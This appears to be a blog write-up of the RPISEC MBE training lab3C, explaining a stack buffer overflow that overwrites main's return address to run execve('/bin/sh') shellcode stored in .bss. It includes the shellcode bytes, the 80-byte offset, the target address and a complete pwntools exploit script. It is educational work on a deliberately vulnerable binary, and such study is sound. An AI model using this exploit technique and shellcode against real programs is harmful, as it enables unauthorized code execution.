shellcoding 101 — RPISEC/MBE/lab3C

The memory segment that holds the .bss is not marked as a non-executable (/* gcc -z execstack -fno-stack-protector -o lab3C lab3C.c */), so you can actually execute code from it.In order to get to this point, we should perform this steps –Insert the shellcode into a_user_name.Create a buffer overflow in a_user_pass in order to ride over the RET address to be the address of a_user_name.At this point, we can assume that we can initiate a memory leak so that a_user_pass will ride over the return address from main function and point it to the .bss section, where a_user_name is saved.In order to bring this attack vector to life, we should first answer this questions –How can we pass the logical barriers of the program in order to inject the shell code into a_user_name?What is the address of a_user_name?How can we ride over the return address with a_user_name‘s address?What the shellcode should be?Let’s answer this questions –The first 6 chars in a_user_name should be “rpisec” in order to get to the point where we can insert a_user_pass..Otherwise we won’t get the chance to create the buffer overflow that ride over the return address.we know that the first 6 chars should be “rpisec” from verify_user_name function –int verify_user_name(){ puts("verifying username….?."); return strncmp(a_user_name, "rpisec", 6);}2..We can see by debugging with IDA that a_user_name is at 0x08049C40.3..Debugging with IDA, we can also see that in order to ride over the return address we should first insert 80 chars and only then insert 0x08049C40.Here we can see the stack filled with 76 ‘a’ chars and one ‘x0A’ (ascii for line feed — or ‘ENTER’) –At 0xFFA4CF8C we can see the return address from the main function that will be called in any of this cases –x = verify_user_pass(a_user_pass);if (x == 0 || x != 0){ puts("nope, incorrect password….."); return EXIT_FAILURE;}return EXIT_SUCCESS;4..First of all, in order to avoid inaccuracy with the address of the shellcode and to avoid the “rpisec” string (user name) we will insert some nop commands (nop sled) and inject 0x08049C4A, instead of 0x08049C40, for it to be the new return address.Secondly, we are going to use this shellcode – implements an execve(“/bin/sh”) command for linux x86 (32bit OS)..This will allow us to get an interactive linux shell.Using python with pwntools, the full solution is as follows-from pwn import *sh = process('./lab3C')recv_data = sh.recv(1024)print recv_datashellcode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x89xc1x89xc2xb0x0bxcdx80x31xc0x40xcdx80"nop_sled = "x90" * 10sh.sendline("rpisec" + nop_sled + shellcode)recv_data = sh.recv(1024)print recv_dataaddress_of_sh = p32(0x08049C4A)sh.sendline('a' * 80 + address_of_sh) # buffer overflow + ride over the RET addresssh.interactive() # get interactive shell to the processAnd so we get –Shellcode explanationAs I said in the beginning of this post — the best way to learn something is to play with it.Now, after solving this exercise, I do want to go deeper with you to understand what exactly happened.The shell code we injected was an hexadecimal data that represent a small piece of code..What does this mean.It means that, for example, when the computer’s cpu reads this — 0x68 he knows that the next 4 bytes should be pushed on to the stack.The push command is called an opcode and the data that will be pushed in is called an operand.When we change the return address so that it will point to the start of the shellcode, we actually tell the cpu to continue and run the next piece of code from there.The EIP register (Extended Instruction Pointer) tells the computer where to go next to execute the next command and controls the flow of a program. More details

Leave a Reply